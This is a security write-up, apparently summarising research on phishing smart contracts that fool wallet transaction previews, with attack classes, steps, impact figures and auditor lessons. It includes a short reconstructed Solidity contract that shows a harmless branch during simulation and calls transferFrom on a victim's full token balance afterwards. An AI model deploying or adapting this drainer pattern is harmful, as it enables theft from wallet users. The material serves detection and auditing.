Transaction Simulation Phishing: 4,224 Malicious EVM Contracts Deceive Wallet Previews for $3.48M

Researchers uncovered a systematic campaign of 4,224 EVM smart contracts that exploited wallet transaction-simulation safety features to show benign previews while executing fund-draining logic on-chain. Across Ethereum, BNB Chain, Avalanche, and Polygon, 5,742 victims lost approximately $3.48M.

Root Cause

Wallet transaction simulation (used by MetaMask and similar wallets to preview balance changes before signing) runs the contract in a local context. Malicious contracts exploit dynamic blockchain state — block.number, block.timestamp, tx.gasprice, gasleft(), or externally-controlled storage — to branch differently during simulation vs. real execution. The wallet displays a benign (or even profitable) preview; on actual submission the code takes a different path and drains user funds.

Researchers (arXiv:2607.28747) identified six attack classes:

Class	State Variable Exploited
`storage-control`	Contract storage slot modified between simulation and execution
`external-control`	External contract return value changes post-simulation
`gas-control`	`gasleft()` differs between simulation (unbounded) and real tx
`gasprice-control`	`tx.gasprice` set to 0 in simulation but non-zero on-chain
`blocknumber-control`	`block.number` crosses an activation threshold
`timestamp-control`	`block.timestamp` used as a time-lock

// Minimal blocknumber-control phishing contract (reconstructed):
contract SimPhish {
    uint256 public constant ATTACK_BLOCK = 22_500_000;

    function claim(uint256 amount) external {
        if (block.number < ATTACK_BLOCK) {
            // Simulation sees this branch: appears to transfer tokens TO user
            emit Reward(msg.sender, amount);
            return;
        }
        // Real execution after threshold: drains entire token balance
        IERC20(TOKEN).transferFrom(msg.sender, ATTACKER, IERC20(TOKEN).balanceOf(msg.sender));
    }
}

Attack Steps

Step	Actor	Action
1	Attacker	Deploys state-gated phishing contract, sets activation threshold in near-future block
2	Attacker	Promotes as legitimate airdrop / token sale on social media or phishing sites
3	Victim	Wallet simulates the transaction — block hasn't crossed threshold, preview shows small gain
4	Victim	Approves and submits transaction on-chain
5	Chain	Real execution crosses activation threshold; contract drains victim's approved token balance
6	Attacker	Collects funds; re-deploys fresh contracts with new thresholds for next wave

Impact

~$3.48M stolen from 5,742 victims
4,224 malicious contracts deployed across Ethereum, BNB Smart Chain, Avalanche, and Polygon
Attack pattern is ongoing; SimGuard bytecode detector now available to wallets
Most victims had previously approved token allowances the attacker leveraged

Lessons for Auditors

Simulate at execution state: Wallets must re-run simulation with the same block.number, block.timestamp, and gas parameters as the pending on-chain transaction, not an arbitrary earlier snapshot.
Flag conditional fund flows: Any contract whose transferFrom, transfer, or native ETH send is inside a branch conditioned on block.number, block.timestamp, gasleft(), tx.gasprice, or mutable storage should trigger a high-severity warning.
Asymmetric preview vs. execution: Audit for contracts that emit a gain-looking event in one branch and transferFrom(user, attacker, balanceOf(user)) in another — the combination is a hallmark of this pattern.
Cross-chain deployer tracking: The same attacker wallet often deploys identical contracts across multiple EVM chains. Anti-fraud infrastructure should propagate confirmed phishing deployer addresses chain-to-chain instantly.